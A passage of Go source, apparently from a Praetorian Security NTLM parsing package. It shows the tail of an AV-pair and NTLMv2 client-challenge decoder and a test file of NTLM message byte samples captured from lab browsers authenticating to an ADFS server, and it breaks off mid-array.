< i+int(AvPair.AvLen) { 321 | return nil, fmt.Errorf("NTLM message too short") 322 | } 323 | AvPair.AvData = rawBytes[i : i+int(AvPair.AvLen)] 324 | i += int(AvPair.AvLen) 325 | 326 | AvPairList = append(AvPairList, AvPair) 327 | 328 | if AvPair.AvId == MsvAvEOL { 329 | return AvPairList, nil 330 | } 331 | } 332 | 333 | return AvPairList, fmt.Errorf("DecodeAvPairs, error list of av pairs must be terminated by MsvAvEOL") 334 | } 335 | 336 | func DecodeNTLMv2ClientChallenge(rawBytes []byte) (NTLMv2_CLIENT_CHALLENGE, error) { 337 | var NTLMv2ClientChallenge NTLMv2_CLIENT_CHALLENGE 338 | var err error 339 | 340 | NTLMv2ClientChallenge.RespType = rawBytes[0] 341 | NTLMv2ClientChallenge.HiRespType = rawBytes[1] 342 | NTLMv2ClientChallenge.Reserved1 = rawBytes[2:4] 343 | NTLMv2ClientChallenge.Reserved2 = rawBytes[4:8] 344 | NTLMv2ClientChallenge.TimeStamp = rawBytes[8:16] 345 | NTLMv2ClientChallenge.ChallengeFromClient = rawBytes[16:24] 346 | NTLMv2ClientChallenge.Reserved3 = rawBytes[24:28] 347 | 348 | NTLMv2ClientChallenge.AvPairs, err = DecodeAvPairs(rawBytes[28:]) 349 | if err != nil { 350 | return NTLMv2ClientChallenge, err 351 | } 352 | 353 | return NTLMv2ClientChallenge, nil 354 | } 355 | -------------------------------------------------------------------------------- /pkg/ntlm/ntlm_test.go: -------------------------------------------------------------------------------- 1 | // Copyright 2022 Praetorian Security, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package ntlm 16 | 17 | import ( 18 | "testing" 19 | 20 | "github.com/davecgh/go-spew/spew" 21 | ) 22 | 23 | var ( 24 | 25 | // SampleA was captured from a system running FireFox on MacOS authenticating to an ADFS server 26 | // running on Windows Server 2019 with BurpSuite proxying the requests 27 | 28 | NegotiateMessageBytesSampleA = []byte{ 29 | 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x82, 0x08, 0x00, 30 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 31 | } 32 | 33 | ChallengeMessageBytesSampleA = []byte{ 34 | 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x02, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x0e, 0x00, 35 | 0x38, 0x00, 0x00, 0x00, 0x05, 0x82, 0x89, 0x02, 0xab, 0xf2, 0x49, 0xf0, 0xf1, 0xa3, 0xb6, 0xdb, 36 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xbe, 0x00, 0xbe, 0x00, 0x46, 0x00, 0x00, 0x00, 37 | 0x0a, 0x00, 0x63, 0x45, 0x00, 0x00, 0x00, 0x0f, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 38 | 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x02, 0x00, 0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 39 | 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00, 0x49, 0x00, 40 | 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 41 | 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00, 42 | 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 43 | 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00, 0x3a, 0x00, 0x57, 0x00, 0x49, 0x00, 44 | 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 45 | 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00, 46 | 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 47 | 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x05, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 48 | 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 49 | 0x41, 0x00, 0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x61, 0x4d, 0x05, 0xbf, 0xe4, 0x72, 0xd8, 0x01, 50 | 0x00, 0x00, 0x00, 0x00, 51 | } 52 | 53 | AuthenticateMessageBytesSampleA = []byte{ 54 | 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x03, 0x00, 0x00, 0x00, 0x18, 0x00, 0x18, 0x00, 55 | 0x80, 0x00, 0x00, 0x00, 0xea, 0x00, 0xea, 0x00, 0x98, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x1a, 0x00, 56 | 0x40, 0x00, 0x00, 0x00, 0x10, 0x00, 0x10, 0x00, 0x5a, 0x00, 0x00, 0x00, 0x16, 0x00, 0x16, 0x00, 57 | 0x6a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x82, 0x08, 0x00, 58 | 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 59 | 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x41, 0x00, 0x43, 0x00, 0x72, 0x00, 60 | 0x6f, 0x00, 0x73, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x57, 0x00, 0x4f, 0x00, 0x52, 0x00, 61 | 0x4b, 0x00, 0x53, 0x00, 0x54, 0x00, 0x41, 0x00, 0x54, 0x00, 0x49, 0x00, 0x4f, 0x00, 0x4e, 0x00, 62 | 0xd6, 0x67, 0x23, 0xd0, 0xc7, 0x43, 0x55, 0x19, 0x0b, 0x00, 0xe7, 0xb9, 0x79, 0x7b, 0x63, 0x4e, 63 | 0xca, 0x84, 0xb8, 0xf4, 0x60, 0x1e, 0x41, 0x76, 0x07, 0xad, 0xb4, 0x0c, 0xc0, 0x24, 0xda, 0xba, 64 | 0x9c, 0xd6, 0xb6, 0x78, 0x3e, 0x0b, 0x95, 0xb6, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 65 | 0x80, 0x2f, 0x00, 0xbf, 0xe4, 0x72, 0xd8, 0x01, 0xe8, 0x70, 0x53, 0xc9, 0x95, 0x4d, 0x90, 0xa1, 66 | 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 67 | 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 68 | 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 69 | 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 70 | 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 71 | 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00, 0x3a, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 72 | 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 73 | 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 74 | 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 75 | 0x41, 0x00, 0x4c, 0x00, 0x05, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 76 | 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 77 | 0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x61, 0x4d, 0x05, 0xbf, 0xe4, 0x72, 0xd8, 0x01, 0x00, 0x00, 78 | 0x00, 0x00, 79 | } 80 | 81 | // SampleB was captured from a system running on Google Chrome on MacOS authenticating to an ADFS server 82 | // running on Windows Server 2019 with BurpSuite proxying the requests 83 | 84 | NegotiateMessageBytesSampleB = []byte{ 85 | 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x82, 0x08, 0x00, 86 | 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 87 | } 88 | 89 | ChallengeMessageBytesSampleB = []byte{ 90 | 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x02, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x0e, 0x00, 91 | 0x38, 0x00, 0x00, 0x00, 0x05, 0x82, 0x89, 0x02, 0x70, 0x6c, 0xb3, 0x29, 0xc0, 0xb6, 0xfe, 0x76, 92 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xbe, 0x00, 0xbe, 0x00, 0x46, 0x00, 0x00, 0x00, 93 | 0x0a, 0x00, 0x63, 0x45, 0x00, 0x00, 0x00, 0x0f, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 94 | 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x02, 0x00, 0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 95 | 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00, 0x49, 0x00, 96 | 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 97 | 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00, 98 | 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 99 | 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00, 0x3a, 0x00, 0x57, 0x00, 0x49, 0x00, 100 | 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 101 | 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00, 102 | 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 103 | 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x05, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 104 | 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 105 | 0x41, 0x00, 0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x3f, 0x8e, 0xe3, 0x1c, 0xe3, 0x72, 0xd8, 0x01, 106 | 0x00, 0x00, 0x00, 0x00, 107 | } 108 | 109 | AuthenticateMessageBytesSampleB = []byte{ 110 | 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x03, 0x00, 0x00, 0x00, 0x18, 0x00, 0x18, 0x00, 111 | 0x58, 0x00, 0x00, 0x00, 0x4c, 0x01, 0x4c, 0x01, 0x70, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x1a, 0x00, 112 | 0xbc, 0x01, 0x00, 0x00, 0x10, 0x00, 0x10, 0x00, 0xd6, 0x01, 0x00, 0x00, 0x3a, 0x00, 0x3a, 0x00, 113 | 0xe6, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x05, 0x82, 0x08, 0x00, 114 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9c, 0x8c, 0xc2, 0x87, 0x0f, 0xb7, 0xd4, 0xf4, 115 | 0x86, 0xc2, 0x13, 0xf3, 0xbe, 0x8d, 0x31, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 116 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 117 | 0x8f, 0x28, 0x06, 0xc4, 0xa5, 0x0b, 0x2d, 0xc9, 0xec, 0x1f, 0xca, 0xce, 0x3e, 0x20, 0x6b, 0x55, 118 | 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3f, 0x8e, 0xe3, 0x1c, 0xe3, 0x72, 0xd8, 0x01, 119 | 0x5f, 0x27, 0x0f, 0x43, 0x1a, 0x57, 0x8f, 0x15, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x0e, 0x00, 120 | 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 121 | 0x1e, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 122 | 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 123 | 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 124 | 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00, 125 | 0x3a, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 126 | 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 127 | 0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 128 | 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x05, 0x00, 0x1a, 0x00, 129 | 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 130 | 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x3f, 0x8e, 131 | 0xe3, 0x1c, 0xe3, 0x72, 0xd8, 0x01, 0x06, 0x00, 0x04, 0x00, 0x02, 0x00, 0x00, 0x00, 0x0a, 0x00, 132 | 0x10, 0x00, 0x63, 0x2e, 0xc8, 0xcc, 0x4f, 0xfa, 0xd9, 0xd4, 0x9d, 0xa0, 0x63, 0xe2, 0x71, 0xa1, 133 | 0x25, 0x9c, 0x09, 0x00, 0x3e, 0x00, 0x48, 0x00, 0x54, 0x00, 0x54, 0x00, 0x50, 0x00, 0x2f, 0x00, 134 | 0x73, 0x00, 0x74, 0x00, 0x73, 0x00, 0x2e, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x74, 0x00, 135 | 0x6f, 0x00, 0x73, 0x00, 0x6f, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x70, 0x00, 0x6f, 0x00, 136 | 0x72, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x2e, 0x00, 0x63, 0x00, 137 | 0x6f, 0x00, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x4f, 0x00, 138 | 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 139 | 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x41, 0x00, 0x43, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x73, 0x00, 140 | 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x70, 0x00, 0x72, 0x00, 0x61, 0x00, 0x65, 0x00, 0x74, 0x00, 141 | 0x6f, 0x00, 0x72, 0x00, 0x69, 0x00, 0x61, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x61, 0x00, 0x73, 0x00, 142 | 0x6d, 0x00, 0x2d, 0x00, 0x70, 0x00, 0x6c, 0x00, 0x61, 0x00, 0x74, 0x00, 0x66, 0x00, 0x6f, 0x00, 143 | 0x72, 0x00, 0x6d, 0x00, 0x2e, 0x00, 0x6c, 0x00, 0x6f, 0x00, 0x63, 0x00, 0x61, 0x00, 0x6c, 0x00, 144 | } 145 | 146 | // SampleC was collected from a Windows 10 client running Google Chrome authenticating to an ADFS 147 | // server running on Windows Server 2019 with BurpSuite proxying the requests 148 | 149 | NegotiateMessageBytesSampleC = []byte{ 150 | 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x97, 0x82, 0x08, 0xe2, 151 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 152 | 0x0a, 0x00, 0x61, 0x4a, 0x00, 0x00, 0x00, 0x0f, 153 | } 154 | 155 | ChallengeMessageBytesSampleC = []byte{ 156 | 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x02, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x0e, 0x00, 157 | 0x38, 0x00, 0x00, 0x00, 0x15, 0x82, 0x89, 0xe2, 0x8a, 0xbb, 0xb6, 0x84, 0x7e, 0x27, 0x76, 0xb4, 158 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xbe, 0x00, 0xbe, 0x00, 0x46, 0x00, 0x00, 0x00, 159 | 0x0a, 0x00, 0x63, 0x45, 0x00, 0x00, 0x00, 0x0f, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 160 | 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x02, 0x00, 0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 161 | 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00, 0x49, 0x00, 162 | 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 163 | 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00, 164 | 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 165 | 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00, 0x3a, 0x00, 0x57, 0x00, 0x49, 0x00, 166 | 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 167 | 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00, 168 | 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 169 | 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x05, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 170 | 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 171 | 0x41, 0x00, 0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x89, 0x5f, 0x6d, 0x5c, 0xc8, 0x72, 0xd8, 0x01, 172 | 0x00, 0x00, 0x00, 0x00, 173 | } 174 | 175 | AuthenticateMessageBytesSampleC = []byte{ 176 | 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x03, 0x00, 0x00, 0x00, 0x18, 0x00, 0x18, 0x00, 177 | 0xa0, 0x00, 0x00, 0x00, 0x80, 0x01, 0x80, 0x01, 0xb8, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x1a, 0x00, 178 | 0x58, 0x00, 0x00, 0x00, 0x10, 0x00, 0x10, 0x00, 0x72, 0x00, 0x00, 0x00, 0x1e, 0x00, 0x1e, 0x00, 179 | 0x82, 0x00, 0x00, 0x00, 0x10, 0x00, 0x10, 0x00, 0x38, 0x02, 0x00, 0x00, 0x15, 0x82, 0x88, 0xe2, 180 | 0x0a, 0x00, 0x61, 0x4a, 0x00, 0x00, 0x00, 0x0f, 0xa9, 0xf5, 0x3b, 0x37, 0xbf, 0xc9, 0x49, 0x75, 181 | 0x5f, 0x21, 0xd2, 0xaf, 0x94, 0x8b, 0xdc, 0x42, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 182 | 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 183 | 0x4c, 0x00, 0x41, 0x00, 0x43, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x73, 0x00, 0x73, 0x00, 0x65, 0x00, 184 | 0x72, 0x00, 0x44, 0x00, 0x45, 0x00, 0x53, 0x00, 0x4b, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x50, 0x00, 185 | 0x2d, 0x00, 0x4e, 0x00, 0x49, 0x00, 0x44, 0x00, 0x34, 0x00, 0x34, 0x00, 0x35, 0x00, 0x4d, 0x00, 186 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 187 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0xeb, 0x30, 0x1f, 0xab, 0x4f, 0x37, 0x4d, 188 | 0x79, 0x59, 0x28, 0x73, 0x38, 0x51, 0x19, 0x3b, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 189 | 0x89, 0x5f, 0x6d, 0x5c, 0xc8, 0x72, 0xd8, 0x01, 0xc9, 0x74, 0x65, 0x45, 0xb9, 0xdd, 0xf7, 0x35, 190 | 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 191 | 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 192 | 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 193 | 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 194 | 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 195 | 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00, 0x3a, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 196 | 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 197 | 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 198 | 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 199 | 0x41, 0x00, 0x4c, 0x00, 0x05, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 200 | 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 201 | 0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x89, 0x5f, 0x6d, 0x5c, 0xc8, 0x72, 0xd8, 0x01, 0x06, 0x00, 202 | 0x04, 0x00, 0x02, 0x00, 0x00, 0x00, 0x08, 0x00, 0x30, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 203 | 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x14, 0x1a, 0x38, 0x76, 0xf8, 0x9c, 204 | 0x6e, 0x45, 0xd8, 0x92, 0xf5, 0xb4, 0x0e, 0x64, 0x2f, 0xe9, 0xca, 0x41, 0x72, 0x52, 0x24, 0xb0, 205 | 0xd6, 0x96, 0x37, 0x81, 0xbf, 0xef, 0xd7, 0x94, 0xf5, 0xe9, 0x0a, 0x00, 0x10, 0x00, 0xe3, 0x7e, 206 | 0x10, 0x35, 0xd8, 0x9e, 0x56, 0xb4, 0x6e, 0x3a, 0x70, 0x03, 0xc8, 0x1f, 0x54, 0x48, 0x09, 0x00, 207 | 0x3e, 0x00, 0x48, 0x00, 0x54, 0x00, 0x54, 0x00, 0x50, 0x00, 0x2f, 0x00, 0x73, 0x00, 0x74, 0x00, 208 | 0x73, 0x00, 0x2e, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x74, 0x00, 0x6f, 0x00, 0x73, 0x00, 209 | 0x6f, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x70, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x61, 0x00, 210 | 0x74, 0x00, 0x69, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x2e, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x6d, 0x00, 211 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0xd7, 0xa2, 0x6d, 0x26, 0xeb, 0x99, 0x27, 212 | 0xb7, 0x53, 0x5e, 0x64, 0x5d, 0x59, 0xc7, 0x14, 213 | } 214 | 215 | // SampleD was collected from a Windows 10 system running Microsoft Edge in Internet Explorer mode 216 | // with Fiddler being leveraged to intercept TLS traffic sent by the client. 217 | 218 | NegotiateMessageBytesSampleD = []byte{ 219 | 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 220 | 0x97, 0x82, 0x08, 0xe2, 0x00, 